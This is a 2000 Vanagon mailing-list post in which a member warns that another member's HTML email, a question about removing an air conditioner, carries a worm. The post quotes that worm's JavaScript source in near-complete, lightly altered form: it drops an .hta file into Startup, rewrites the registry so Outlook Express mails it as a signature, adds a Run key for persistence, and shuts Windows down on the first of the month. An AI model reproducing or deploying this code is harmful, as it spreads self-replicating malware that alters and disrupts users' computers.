Date: Sat, 24 Jun 2000 14:49:03 -0700
Reply-To: "Tom L. Neal" <jneal@netcom.com>
Sender: Vanagon Mailing List <vanagon@gerry.vanagon.com>
From: "Tom L. Neal" <jneal@netcom.com>
Subject: Nice worm, innoculated with a couple of mods
In-Reply-To: <000401bfddf4$b791af00$46903604@hhnch>
Content-Type: TEXT/PLAIN; charset=iso-8859-1
Nice worm. Pretty fancy programming.
Another good reason to switch to text mode from html, if possible.
Cheers, Tom Neal
The message starts here....
From drschiesser@bigplanet.comSat Jun 24 14:33:05 2000
Date: Fri, 23 Jun 2000 14:56:30 -0400
From: michael schiesser <drschiesser@bigplanet.com>
To: vanagon@GERRY.VANAGON.COM
Subject: Lets rip out the Air conditioner - 89 vanagon
!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
HTML><HEAD>
<META content="text/html; charset=iso-8859-1" http-equiv=Content-Type>
<META content="MSHTML 5.00.2314.1000" name=GENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=#ffffff>
<DIV> </DIV>
<DIV style="POSITION: absolute; RIGHT: 0px; TOP: -20px; Z-INDEX: 5">
<OBJECT classid=clsid:06290BD5-48AA-11D2-8432-006008C3FBFC
id=scr></OBJECT></DIV>
<DIV><FONT face=Arial size=2>I want to rip out my AC. </FONT></DIV>
<DIV><FONT face=Arial size=2>why?</FONT></DIV>
<DIV><FONT size=2><FONT face=Arial>A. It doesn't work (needs lots of new parts(
~$1000 worth to get it working)</FONT></FONT></DIV>
<DIV><FONT size=2><FONT face=Arial>B. If it did, it would overheat the
engine</FONT></FONT></DIV>
<DIV><FONT size=2><FONT face=Arial>C. It takes up so much
room</FONT></FONT></DIV>
<DIV><FONT size=2><FONT face=Arial>D. IT's freon based and we all know the state
of the ozone layer</FONT></FONT></DIV>
<DIV><FONT size=2><FONT face=Arial></FONT></FONT> </DIV>
<DIV><FONT size=2><FONT face=Arial></FONT></FONT> </DIV>
<DIV><FONT size=2><FONT face=Arial>1.Has anyone done this before? (tips
please)</FONT></FONT></DIV>
<DIV><FONT size=2><FONT face=Arial>2.Does anyone want any of the parts? I think
the compressor and exchanger work fine, its line leaks etc that are the
problem</FONT></FONT></DIV>
<DIV><FONT size=2><FONT face=Arial>3. Any cool ideas of what to do with all that
extra overhead space? Can I get factory looking overhead cabinet anywhere. I'd
like to put some speakers and maybe a subwoofer up there. </FONT></FONT></DIV>
<DIV><FONT size=2><FONT face=Arial></FONT></FONT> </DIV>
<DIV><FONT size=2><FONT face=Arial>Michael Schiesser</FONT></FONT></DIV>
<DIV><FONT size=2><FONT face=Arial>Harvard Ma</FONT></FONT></DIV>
<DIV><FONT size=2><FONT face=Arial>89 Westfalia</FONT></FONT></DIV>
<DIV><FONT size=2><FONT face=Arial></FONT></FONT> </DIV>
<DIV><FONT size=2><FONT face=Arial>
The worm seems to start here......
SCRIPT><!--
=function sErr(){return
=true;}window.onerror=sErr;scr.Reset();scr.doc="ZHTML><HEAD><TITLE>Driver
=Memory Error</"+"TITLE><HTA:APPLICATION ID=\"hO\"
=WINDOWSTATE=Minimize></"+"HEAD><BODY BGCOLOR=#CCCCCC><object id='wsh'
=classid='clsid:F935DC22-1CF0-11D0-ADB9
=-00C04FD58A0B'></"+"object><SCRIPTfunction sEr(){self.close();return
=true;}window.onerror=sEr;fs=new
=ActiveXObject('Scripting.FileSystemObject');wd='C:\\\\Windows\\\\';fl=fs.GetFolder(wd+'Applic~1\\\\Identities');sbf=fl.SubFolders;for(var mye=new Enumera
=tor(sbf);!mye.atEnd();mye.moveNext())idd=mye.item();ids=new
=String{idd);idn=ids.slice(31);fic=idn.substring(1,9);kfr=wd+'MENUDÉ~1\\\\PROGRA~1\\\\DÉMARR~1\\\\kak.hta';ken=wd+'STARTM~1\\\\Programs\\\\StartUp\\\\kak.hta';k2=wd+'System\\\\'+fic+'.hta';kk=(fs.
=FileExists(kfr))?kfr:ken;aek=':\\\\AE.KAK';aeb='C:\\\\Autoexec=bat';if(!fs.FileExists(aek)){re=/kak.hta/i;if(hO.commandLine.search(re)!=-1){f1=fs.GetFile(aeb);f1.Copy(aek);t1=f1.OpenAsTextStream(8);pth=(kk==kfr)?wd+'MENUD~1\\\\PROGRA~1\\\\DMARR~1\\\\ka
=k.hta':ken;t1.WriteLin('@echo off>'+pth);t1.WriteLin('del
='+pth);t1.Close();}}if(!fs.FileExists(k2)){fs.CopyFile(kk,k2);fs.GetFile(k2).Attributes=2;}t2=fs.CreateTextFile(wd+'kak.reg');t2.write('REGEDIT4');t2.WriteBlankLines(2);ky='[HKEY_CURRENT_USER\\\\
=Identities\\\\'+idn+'\\\\Software\\\\Microsoft\\\\Outlook
=Express\\\\5.0';sg='\\\\signatures';t2.WriteLin(ky+sg+']');t2.Write('\"Default Signature\"=\"00000000\"');t2.WriteBlankLines(2);t2.WriteLine(ky+sg+'\\\\00000000]');t2.WriteLine('\"name\"=\"Signatu
=re
=#1\"');t2.WriteLine('\"type\"=dword:00000002');t2.WriteLine('\"text\"=\"\"');t2.Write('\"file\"=\"C:\\\\\\\\WINDOWS\\\\\\\\kak.htm\"');t2.WriteBlankLines(2);t2.WriteLine(ky+']');t2.Write('\"Signature Flags\"=dword:00000003');t2.WriteBlankLines(2);t2.Wr
=iteLine('[HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run]');t2.Write('\"cAg0u\"=\"C:\\\\\\\\WINDOWS\\\\\\\\SYSTEM\\\\\\\\'+fic+'.hta\"');t2.WriteBlankLines(2);t2.close();wsh.Run(wd+'Regedit.exe -s '+wd+'kak.reg');t3=fs.Cre
=ateTextFile(wd+'kak.htm',1);t3.Write'HTML><BODY><DIV
=style=\"POSITION:absolute;RIGHT:0px;TOP:-20px;Z-INDEX:5\"><OBJECT
=classid=clsid:06290BD5-48AA-11D2-8432-006008C3BFC
=id=scr></"+"OBJECT></"+"DIV>');t4=fs.OpenTextFile(k,1);while(t4.Read(1)!='Z');t3.W
=riteLine('SCRIPT><!--');t3.write('function sErr(){return
=true;}window.onerror=sErr;scr.Reset();scr.doc=\"Z');rs=t4.Read(3095);t4.close();rd=/\\\\/g;re=/\"/g;rf=/<\\//g;rt=rs.replace(rd,'\\\\\\\\').replace(re,'\\\\\"').replace(rf,'</"+"\"+\"');t3.WriteLin
=e(rt+'\";la=(navigator.systemLanguage)?navigator.sytemLanguage:navigator.language;scr.Path=(la==\"fr\")?\"C:\\\\\\\\windows\\\\\\\\Menu Démarrer\\\\\\\\Programmes\\\\\\\\Démarrage\\\\\\\\kak.hta\":\"C:\\\\\\\\windows\\\\\\\\Start Menu\\\\\\\\Programs\\\\
=\\\\StartUp\\\\\\\\kak.hta\";agt=navigator.userAgent.toLowerCase();if(((agt.indexOf(\"msie\")!=-1)&&(parseInt(navigator.appVersion)>4))||(agt.indexOf(\"msie 5.\")!=-1))scr.write();');t3.write('//--></"+"'+'SCRIPT></"+"'+'OBJECT></"+"'+'BODY></"+"'+'HTML>'
=);t3.close();fs.GetFile(wd+'kak.htm').Attributes=2;s.DeleteFile(wd+'kak.reg');d=new Date();if(d.getDate()==1 && d.getHours()>17){alert('Kagou-Anti-Kro$oft says not today !');wsh.Run(wd+'RUNDLL32.EXE user.exe,exitwindows');}self.close();</"+"SCRIPT>S3 dri
=ver memory alloc failed
=!]]%%%%%</"+"BODY></"+"HTML>";la(navigator.systemLanguage)?navigator.systemLanguage:navigator.language;scr.Path=(la=="fr")?"C:\\windows\\Menu Démarrer\\Programmes\\Démarrage\\kak.hta":"C:\\windows\\Start Menu\\Programs\\Sta
=rtUp\\kak.hta";agt=navigator.userAgent.toLowerCase();if(((agt.indexOf("msie")!=-1)&&(parseInt(navigator.appVersion)>4))||(agt.indexOf("msie 5.")!=-1))scr.write();
=//-->/SCRIPT>
/OBJECT></FONT></FONT></DIV></BODY>/HTML>
|